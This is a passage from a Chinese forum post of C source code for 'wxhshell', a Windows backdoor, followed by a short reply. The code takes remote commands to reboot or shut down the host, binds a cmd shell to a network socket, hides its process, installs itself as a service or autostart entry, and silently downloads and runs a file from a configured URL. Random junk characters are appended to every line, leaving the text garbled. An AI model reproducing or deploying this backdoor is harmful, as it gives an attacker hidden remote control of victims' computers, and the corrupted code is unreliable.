  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qu^g~"s  
  if(DownloadFile(cmd,wsh)) #^$_/Q#C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]R Ah['u|  
  else 1IoW}yT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <ll?rPio"  
  } 3li$)S1z  
  else { CUJq [  
6y!U68L;B  
    switch(cmd[0]) { ~!ooIwNNz  
  Q u2 ~wp<  
  // 帮助 NsI.mTc2  
  case '?': { D\M"bf>q1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NzAh3k  
    break; $'KQP8M+  
  } c:7V..   
  // 安装 Dtd~}-_Q  
  case 'i': { 6):1U  
    if(Install()) N!ihj:,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LEM%B??&5z  
    else a4UwhbH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ='jT 5Mg  
    break; j^=Eu r/  
    } NWh1u`  
  // 卸载 frUs'j/bZ  
  case 'r': { JPn)Op6  
    if(Uninstall()) x^@oY5}cr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3w)r""C&  
    else e".=E ;o`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S3M!"l  
    break; #OPEYJ;*9d  
    } gy@=)R/~  
  // 显示 wxhshell 所在路径 eP" B3Jw  
  case 'p': { .1TuHC\mC  
    char svExeFile[MAX_PATH]; W`PJ flr|  
    strcpy(svExeFile,"\n\r"); YyYZD{^  
      strcat(svExeFile,ExeFile); 9h|6"6  
        send(wsh,svExeFile,strlen(svExeFile),0); |!] "y<  
    break; fV4rVy8  
    } Nl[&rZ-&  
  // 重启 S3/%;=|  
  case 'b': { 1J0gjO)AZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /?r A|  
    if(Boot(REBOOT)) <Q(E {c3"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q>D//_TF  
    else {  >SQzE  
    closesocket(wsh); "a].v 8l!  
    ExitThread(0); N ;=z o-8  
    } XfE0P(sE  
    break; %SB4_ r*<  
    } /pjl6dJ t  
  // 关机 "LTw;& y  
  case 'd': { A:ts_*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =s!0EwDH3  
    if(Boot(SHUTDOWN)) Mv%Qze,\V^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zc8^#D2y&  
    else { vYm-$KQ"o  
    closesocket(wsh); fD@d.8nXd  
    ExitThread(0); {[#)Q.2  
    } F(n<:TvlK  
    break; ;U>nj],uv  
    } IQU1 JVk Z  
  // 获取shell @]q^O MLY  
  case 's': { Bc.de&Bxz_  
    CmdShell(wsh); K?J_cnJ`  
    closesocket(wsh); Hk;;+'-  
    ExitThread(0); W6T4Zsg  
    break; [3bPoAr\  
  } 7zCJ3p  
  // 退出 2`*w*  
  case 'x': { ~\(c;J*Ir  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [ne51F5_  
    CloseIt(wsh); }0pp"[JU  
    break; /%g9g_rt#  
    } \_O#M   
  // 离开 "<+~uz  
  case 'q': { (Ff}Y.4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g,]o+nT  
    closesocket(wsh); ViiJDYT>E<  
    WSACleanup(); ('J@GTe@xj  
    exit(1); aC`>~uX##V  
    break; k*?T^<c3  
        } D& pn@6bB  
  } @Pk<3.S0  
  } B>c$AS\5y  
{,JO}Dmu5  
  // 提示信息 Mq<ob+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;Tnid7:S  
} `$Rgn3  
  } Hghd Ts  
jz_Y|"{`v  
  return; X PyDZk/m  
} Qu[QcB{ro-  
m[xl) /e  
// shell模块句柄 ZN#b5I2Pf  
int CmdShell(SOCKET sock) 8)bR\s   
{ cy.r/Z}  
STARTUPINFO si; ~D3 S01ecM  
ZeroMemory(&si,sizeof(si)); s>o#Ob@4'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )KE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &*>.u8:r  
PROCESS_INFORMATION ProcessInfo; :.ZWYze  
char cmdline[]="cmd"; h"+7cc@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *Z"`g %,;  
  return 0; &PE%tm  
} Lq5xp<  
60^j<O  
// 自身启动模式 >\[]z^J  
int StartFromService(void) OiQf=Uz\  
{ : wS&3:h  
typedef struct NH|I>vyN  
{ _ cQ '3@  
  DWORD ExitStatus; is8i_FoD,n  
  DWORD PebBaseAddress; `{:Nt#7  
  DWORD AffinityMask; Ht;Rz*}  
  DWORD BasePriority; 5h/,*p6Nje  
  ULONG UniqueProcessId; OUUV8K  
  ULONG InheritedFromUniqueProcessId; "jyo'r  
}   PROCESS_BASIC_INFORMATION; D<69xT,  
_l9fNf!@  
PROCNTQSIP NtQueryInformationProcess; |\Jnr3)  
,:PMS8pS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @ &N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q~nVbj?c2v  
zEFS\nP}E  
  HANDLE             hProcess; ,e43m=KhK  
  PROCESS_BASIC_INFORMATION pbi; 'Wnh1|z  
?)-6~p 4N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Mc.{I"c@  
  if(NULL == hInst ) return 0; |gI>Sp%Fu  
pFS@yHs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); **%&|9He  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $x'jf?zs!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pL1ABvBB  
;Va(l$zD  
  if (!NtQueryInformationProcess) return 0; Q&:)D7m\)S  
rQ{|0+l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c ^ds|7i]a  
  if(!hProcess) return 0; C zJ-tEO  
w\GJ,e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4,LS08&gh  
T" {~mQ*  
  CloseHandle(hProcess); kMCP .D45;  
:Q DkaA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); THhxj)  
if(hProcess==NULL) return 0; _y[C52,  
R 9` [C  
HMODULE hMod; zN!W_2W*  
char procName[255]; + )Qu,%2   
unsigned long cbNeeded; _">F]ptI;  
?YR;o4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d.+  
v_5qE  
  CloseHandle(hProcess); ru 6`Z+p  
(.P}>$M9  
if(strstr(procName,"services")) return 1; // 以服务启动 `15}jTi  
+8zACs{p  
  return 0; // 注册表启动 8%CznAO"?W  
} 6 8,j~e3-i  
MS;^:t1`  
// 主模块 d]e36Dwk  
int StartWxhshell(LPSTR lpCmdLine) <8 <P,  
{ V.:,Q  
  SOCKET wsl; )!27=R/  
BOOL val=TRUE; 2*V%S/cck  
  int port=0; LRHod1}mS  
  struct sockaddr_in door; ?\,;KNQr  
5 %\K  
  if(wscfg.ws_autoins) Install(); !6-t_S  
&D M3/^70  
port=atoi(lpCmdLine); +:@^nPfHy  
P?V+<c{  
if(port<=0) port=wscfg.ws_port; $/"Ymm#"\Y  
{mD0 ug  
  WSADATA data; Db Qp (W0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2x<BU3  
KX~ uE6rX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .t\J @?Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L;opQ~g  
  door.sin_family = AF_INET; ra*|HcLD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6<W^T9}v@/  
  door.sin_port = htons(port); _m?i$5  
&6CDIxH{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V]--d33/a  
closesocket(wsl); \2 DED  
return 1; Ne+Rs+~4  
} dYISjk@  
 it H  
  if(listen(wsl,2) == INVALID_SOCKET) { @I4HpY7:  
closesocket(wsl); o=Z:0Ukl]  
return 1; *Hn=)q  
} 3y.+03 W  
  Wxhshell(wsl); @xdtl{5G  
  WSACleanup(); =Ya^PAj '}  
w&H>`l06  
return 0; NE#`ZUr3  
@Dsw.@/  
} `/ T.u&QF  
1;~s NSTo  
// 以NT服务方式启动 IrYj#,xJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &I-:=ir  
{ )8^E{w^D}  
DWORD   status = 0; T^^7@\vDI  
  DWORD   specificError = 0xfffffff; (enr{1  
bMc[0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z#u{th  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w%`S>+kX&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; spP[S"gI  
  serviceStatus.dwWin32ExitCode     = 0; | t:UpP  
  serviceStatus.dwServiceSpecificExitCode = 0; uSXnf  
  serviceStatus.dwCheckPoint       = 0; Caj H;K\  
  serviceStatus.dwWaitHint       = 0; k 76<CX  
?a,#p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u^SInanw  
  if (hServiceStatusHandle==0) return; C1f$^N  
W[I[Xg&  
status = GetLastError(); Q3i\`-kbb  
  if (status!=NO_ERROR) U0 -RG  
{ . h)VR 5?j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mQVlE__ub  
    serviceStatus.dwCheckPoint       = 0; ,1 H|{<  
    serviceStatus.dwWaitHint       = 0; O+mEE>:w%  
    serviceStatus.dwWin32ExitCode     = status; / :.I&^>P  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;rL>{UhG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ? ;Sg,.J  
    return; XS2/U<s d  
  } x$jLB&+ICz  
F/J s K&&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rCqwJoC`v  
  serviceStatus.dwCheckPoint       = 0; a\m=E#G  
  serviceStatus.dwWaitHint       = 0; z4D)Xy"/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'J*'{  
} +(x(Ybl#  
U^[AW$WzU  
// 处理NT服务事件,比如:启动、停止 i;~.kgtq4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sQ\HIU%]  
{ 7p'pz8n`X  
switch(fdwControl) 5+{oQs_  
{ /NB|N*}O)  
case SERVICE_CONTROL_STOP: KU "+i8"  
  serviceStatus.dwWin32ExitCode = 0; Il\{m?Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Tr>_R%bK  
  serviceStatus.dwCheckPoint   = 0; 9E5*%Hu_  
  serviceStatus.dwWaitHint     = 0; yT<"?S>D  
  { n'vdA !R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ? .B t.  
  } m==DBh  
  return; z+oy#p6+F.  
case SERVICE_CONTROL_PAUSE: j/oc+ M^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; CEkf0%YJ  
  break; {TJ "O  
case SERVICE_CONTROL_CONTINUE: TPx0LDk%(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dL'oIBp  
  break; B:i$  
case SERVICE_CONTROL_INTERROGATE: ;L76V$&  
  break; A+Un(tU2(  
}; rvhMu}.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZX-A}  
} {7X9P<<L7  
jEx8G3EL  
// 标准应用程序主函数 (oCpQDab@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8rJf2zL  
{ ORX<ZO t1  
o4a@{nt^,  
// 获取操作系统版本 MsIaMW_  
OsIsNt=GetOsVer(); bly `m p8#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3LQ u+EsS  
n|.eL8lX.<  
  // 从命令行安装 :Id8N~g  
  if(strpbrk(lpCmdLine,"iI")) Install(); [KGj70|~  
^Q0=Ggh  
  // 下载执行文件 `:ZaT('h  
if(wscfg.ws_downexe) { mV}8s]29  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;x_T*} CH  
  WinExec(wscfg.ws_filenam,SW_HIDE); t#f-3zd9  
} w"kBAi&  
X/%!p<}:'  
if(!OsIsNt) { :zIB3nT^  
// 如果时win9x,隐藏进程并且设置为注册表启动 JC$_Pg!  
HideProc(); |w~*p N0  
StartWxhshell(lpCmdLine); (:H4  
} M?sTz@tqq  
else wE9z@\z]  
  if(StartFromService())  R'_F9\  
  // 以服务方式启动 m/g[9Y  
  StartServiceCtrlDispatcher(DispatchTable); ,Cm1~ExJ  
else ;)f,A)(Z  
  // 普通方式启动 asvM/ 9  
  StartWxhshell(lpCmdLine); 'T|QG@q  
u&`rK7 J  
return 0; F6DVq8f9  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八